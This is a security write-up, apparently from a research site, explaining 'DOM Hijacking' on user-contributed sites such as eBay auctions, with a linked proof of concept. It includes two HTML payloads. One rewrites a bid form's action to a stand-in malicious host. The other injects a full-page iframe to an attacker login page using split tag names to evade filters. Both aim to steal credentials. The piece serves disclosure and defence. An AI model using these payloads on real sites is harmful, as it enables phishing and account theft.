Search | Research | Contact Us Tuesday October 10, 2021
Languages
Most Viewed Items
  1 PHPXMLRPC Library Remote Code Execution
  2 XOOPS 2.0.11 && Earlier Multiple Vulnerabilities
  3 Multiple Invision Power Board Vulnerabilities
  4 Mambo Multiple Vulnerabilities
  5 eBay And Amazon Still Vulnerable
  6 PEAR XML_RPC Library Remote Code Execution
  7 When Small Mistakes Can Cause Big Problems
  8 Woltlab Burning Board SQL Injection Vulnerability
  9 WordPress 1.5.1.2 And Earlier Multiple Vulnerabilities
10 MySQL Eventum Multiple Vulnerabilities
Need Secure Code?
Quick Search
You can use the form below to search our site. Just enter the keywords to search.
Home Services Archives Research Downloads Contact
Document Object Model Hijacking Explained
December 10, 2021


The 2004 Merriam-Webster word of the year was “blog�. For those of you that do not know, blog is short for weblog. Millions of people around the world keep blogs, and these people are not just limited to the tech savvy crowd. Blogs are not the only increasingly popular web applications though. Wiki’s for example allow many users to build an entire community and more by allowing anyone who wants to contribute, to do so. Security is usually a fairly primary concern in an environment with many users, and measures such as script filtering are taken to ensure that no one tries anything “bad�, and that if they do they are unsuccessful in their attempts. Unfortunately though, a good number of these applications are susceptible to DOM Hijacking.


What Is DOM Hijacking?
Before I get into what DOM Hijacking is, I am going to first explain why it works. The biggest reason it works is because there is no script that gets detected by the script filters. So, if you use no literal script tags you can bypass a good number of script filters easily. There are a lot of things you can do by manipulating DOM components directly, and do not even need any type of extensive scripting. However, in instances where you do need script you can use DOM to aid you in getting your script past any script filters in place.


Is DOM Hijacking A Threat?
Well, the answer to that question may vary depending on the environment, but where it is a threat it can usually be a serious threat, because it turns a trusted element into a dangerous one without the user even being aware of what is happening in most cases. Also, there does not need to be any user interaction in most cases to be taken advantage of, and that significantly increases the chances of exploitation. Fortunately DOM Hijacking is not an issue on most websites, but with the incredibly large number of user contributed websites and web applications (message boards, blogs, online auctions, and many more similar applications) online, DOM Hijacking is something webmasters and end users alike need to be aggressive in defending against.


How Does DOM Hijacking Work?
We have already discussed the reasons why DOM Hijacking works, now lets take a look at how it works.

Example A:
A malicious user signs up for an account on eBay using a chain of jump off points to cover their identity. They sell a very appealing fictitious item using a stolen credit card. In their description they are allowed to use basic HTML, as the auctions would be very boring in plain text don’t you agree? Of course when you have a user inputting code in a public environment where sensitive information is potentially at stake you want to make sure the users are safe so you must take the proper security precautions. These precautions include, but are not limited to thing like disallowing iframes, ilayers, frames, script, embedded objects, etc. In some cases a good amount of DOM is disabled to prevent the publicly known “Window Hijacking� and “Frame Hijacking� vulnerabilities from being exploited. However unless you disable all DOM you are putting yourself at risk because a “onmouseover� or “onload� can be just as dangerous as any script or “window.open� if exploited. So, our malicious user tries to mount an attack using DOM Hijacking after several failed attempts at entering malicious javascript into his auction.

<body onload=�document.forms[1].action=’http://maliciouswebsite’;�>

After the malicious user puts this single line of code in their auction they will have control over the action of the form used to place a bid. The malicious user can then send any potential bidders to their evil eBay look-a-like login page, steal their credentials, and send them back to the referring site all in the blink of an eye.


Example B:
A malicious user is using the same means as mentioned in “example a� to place an auction on eBay. This time they want to attack users without any user interaction, and they want to be able to trick a larger number of users, so stealth is an issue. The following bit of code will spawn a frame 100% of the page and open an attacker’s evil eBay look-a-like login page as soon as a user views the malicious auction. (wrapped for readability)

<body onload="document.body.innerHTML='<i' + 'frame scrolling=no frameborder=0
width=100% height=100% src=http://evilwebsite></ifr' + 'ame>';">

After the user unknowingly submits their login credentials to the user, they are then broken out of the frame, and sent back to the referring homepage in a nearly seamless sequence of events. The attacker now has the user’s login credentials in plaintext and can use that information to mount further attacks, or unfortunately they can now do as they please with the victim’s hijacked account.


What to do about the problem?
I decided to use eBay in the above examples because they are a very security conscious community. If DOM Hijacking can be used to take control over a page on one of the most secure user contributed communities in the world, then it can obviously be used elsewhere. Just think about all of the vulnerable web applications out there. With user contributed sites growing every day you probably will see DOM Hijacking become used in phishing scams and web based attacks more and more often. Webmasters should disable all DOM events that can be used to write to or manipulate objects not created by the user. So, you have to disable the ability to influence any objects, because the browser does not know who wrote what. It seems there is no easy problem to this solution except filtering all inputted data for DOM references along with javascript and frames.


Example
http://members.ebay.com/aboutme/jahmin79
( Example only tested in Firefox and Netscape)


Screenshots
Here are some screenshots for whenever eBay fixes this and people can no longer see it in action. The first is of what you see before you login, and the second is what you see after.

eBay DOM Hijacking Number One
eBay DOM Hijacking Number two


I purposely put the JavaScript alert as not to have people putting in their real passwords and usernames. Had I not put the alert there I think it would be able to trick most people. Even the tmp.gulftech.org in the status bar isn't that misleading as eBay constaly is loading stuff from other websites all the time.